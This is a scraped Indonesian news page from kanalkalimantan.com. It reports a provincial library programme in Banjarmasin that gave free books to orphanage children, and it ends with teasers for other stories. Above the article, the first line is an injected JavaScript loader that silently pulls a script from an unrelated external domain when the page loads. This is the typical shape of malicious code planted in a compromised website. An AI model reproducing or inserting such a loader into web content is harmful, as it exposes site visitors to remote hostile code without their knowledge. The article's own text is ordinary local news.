(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Satu lagi terobosan dilakukan Dinas Perpustakaan dan Kearsipan Provinsi Kalsel menggenjot minta baca yakni program 1.000 buku gratis. Mendatangkan 38 anak panti asuhan Pondok Pesantren Ibnu Ruslan Assyafi’iyah, Gambut, anak-anak panti asuhan mengobok-obok bazar buku yang sedang berlangsung di perpustakaan yang terletak di jalan A Yani Km 6, Banjarmasin, Rabu (20/12).
Ya, anak-anak panti asuhan dibolehkan memilih satu buku apa saja yang mereka mau. Salah satu anak panti asuhan Cahyanto merasa senang bisa berkunjung ke perpustakaan, apalagi dapat memilih buku gratis.
“Ini pertama kali kami datang berkunjung ke sini dan berharap bisa datang berkunjung lagi,†akunya.
Terlihat jelas antusias anak panti asuhan dalam memilih buku-buku yang tersedia. Masran, pembina anak panti asuhan mengucapkan berterima kasih karena dengan adanya acara ini anak-anak panti asuhan bisa mengenal perpustakaan dan dunia ilmu pengetahuan lewat buku.
Kepala Dispersip Kalsel Hj Nurliani Dardie mengatakan, kegiatan ini merupakan bagian dari program berbagi 1.000 buku gratis untuk anak panti asuhan dan anak PAUD se-Kalsel.
“Acara ini sebagai salah satu langkah untuk menambah minat baca buku anak di Kalsel†jelasnya.
Dalam hal ini Dinas Perpustakaan dan Kearsipan Kalsel bekerjasama dengan toko buku Yusuf Agency sebagai donatur buku.
Salah satu yang menjadi minimnya minat baca karena mahalnya harga buku dan terbatasnya akses mendapatkan buku. Semoga dengan adanya acara seperti ini bisa menumbuhkan minat baca anak-anak di Kalsel.
M Ikbal, pemilik Yusuf Agency sekaligus donator buku mengatakan, pihaknya rutin turut serta dalam membagikan buku gratis.
“Kita rutin membagikan buku kepada anak-anak setiap mengadakan bazar buku seperti ini, yang penting pihak pemerintah siap membantu dan mendatangkan anak-anak yang memang membutuhkan,†jelasnya.
Setelah memilih buku, anak panti dibawa berkunjung ke ruang baca anak untuk melihat-lihat dan membaca koleksi buku yang ada di perpustakaan. Tak hanya mendapatkan buku tetapi anak panti juga mendapatkan masing-masing sajadah. (asriyani)
KANALKALIMANTAN.COM, BANJARBARU - Aktivitas peternakan babi di Kota Banjarbaru kembali menjadi sorotan. Selain dikeluhkan atas… Read More
KANALKALIMANTAN.COM.COM, BANJARMASIN - Kepolisian Reskrim Polsek Banjarmasin Barat dan tim gabungan berhasil menangkap ARM (21),… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puluhan peternak babi di Jalan Pandarapan RT 34 RW 5, Kelurahan Guntung… Read More
KANALKALIMANTAN.COM, BANJARBARU – Sebanyak 21 kepala keluarga (KK) pemilik peternakan babi di Jalan Pandarapan RT… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Warga Desa Penda Ketapi, Kecamatan Kapuas Barat, Kabupaten Kapuas, Kalteng, menggelar… Read More
KANALKALIMANTAN.COM, AMUNTAI - Satgas TNI Manunggal Membangun Desa (TMMD) menggelar sosialisasi penyuluhan kesehatan masyarakat di… Read More
This website uses cookies.